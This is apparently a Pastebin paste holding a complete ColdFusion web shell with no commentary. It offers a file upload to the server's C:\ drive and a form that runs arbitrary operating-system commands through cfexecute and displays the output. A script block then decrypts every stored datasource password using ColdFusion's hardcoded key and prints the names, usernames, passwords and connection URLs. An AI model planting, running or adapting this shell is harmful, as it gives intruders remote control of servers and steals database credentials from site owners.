Advertisement
Guest User

Untitled

a guest
Feb 16th, 2016
70
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.29 KB | None | 0 0
  1. <html>
  2. <body>
  3.  
  4.  
  5. <b>Notes:</b><br>
  6. <ul>
  7. <li>For Windows put this as command "c:\windows\system32\cmd.exe /c" or wherever cmd.exe is<br>
  8. <li>For Windows options are the command you want to run "dir" "type" etc
  9. </ul>
  10. <p>
  11.  
  12. <cfoutput>
  13.  
  14. <cfif isDefined("fileUpload")>
  15. <cffile action="upload"
  16. fileField="fileUpload"
  17. destination="C:\">
  18. <p>Your file has been uploaded.</p>
  19. </cfif>
  20. <form enctype="multipart/form-data" method="post">
  21. <input type="file" name="fileUpload" /><br />
  22. <input type="submit" value="Upload File" />
  23. </form>
  24.  
  25.  
  26. <table>
  27. <form method="POST" action="">
  28. <tr><td>Command:</td><td><input type=text name="cmd" size=50
  29. <cfif isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
  30. <tr><td>Options:</td><td> <input type=text name="opts" size=50
  31. <cfif isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
  32. <tr><td>Timeout:</td><td> <input type=text name="timeout" size=4
  33. <cfif isdefined("form.timeout")>value="#form.timeout#"
  34. <cfelse>value="5"</cfif>></td></tr>
  35. </table>
  36. <input type=submit value="Exec" >
  37. </form>
  38.  
  39. <cfif isdefined("form.cmd")>
  40. <cfsavecontent variable="myVar">
  41. <cfexecute name = "#Form.cmd#"
  42. arguments = "#Form.opts#"
  43. timeout = "#Form.timeout#">
  44. </cfexecute>
  45. </cfsavecontent>
  46. <pre>
  47. #HTMLCodeFormat(myVar)#
  48. </pre>
  49. </cfif>
  50.  
  51. <cfscript>
  52.  
  53. //added better formatting on output and connection string [lb]
  54.  
  55. // Create Data Source Object
  56. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  57. getDatasourceService().getDatasources();
  58. writeoutput("<br><br><b>Datasource Credentials:</b><br>");
  59. writeoutput("<table>");
  60. // Loop Through DataSources
  61. for(i in dataSourceObb) {
  62. if(len(dataSourceObb[i]["password"])){
  63.  
  64. // Get url
  65. theurl=(dataSourceObb[i]["url"]);
  66.  
  67. // Get username
  68. username=(dataSourceObb[i]["username"]);
  69.  
  70. // Get and decrypt password
  71. decryptPassword=Decrypt(dataSourceObb[i]["password"],
  72. generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede",
  73. "Base64");
  74.  
  75. // Output datasource usernames, passwords, and urls
  76. writeoutput("" &
  77. "<tr><td>DataSource: " & i & "</td>" &
  78. "<td>Username: " & username & "</td>" &
  79. "<td>Password: " & decryptPassword &
  80. "<td>URL: " & theurl & "</td></tr>");
  81. }
  82. }
  83. writeoutput("</table><br>");
  84. </cfscript>
  85. </cfoutput>
  86. </body>
  87. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement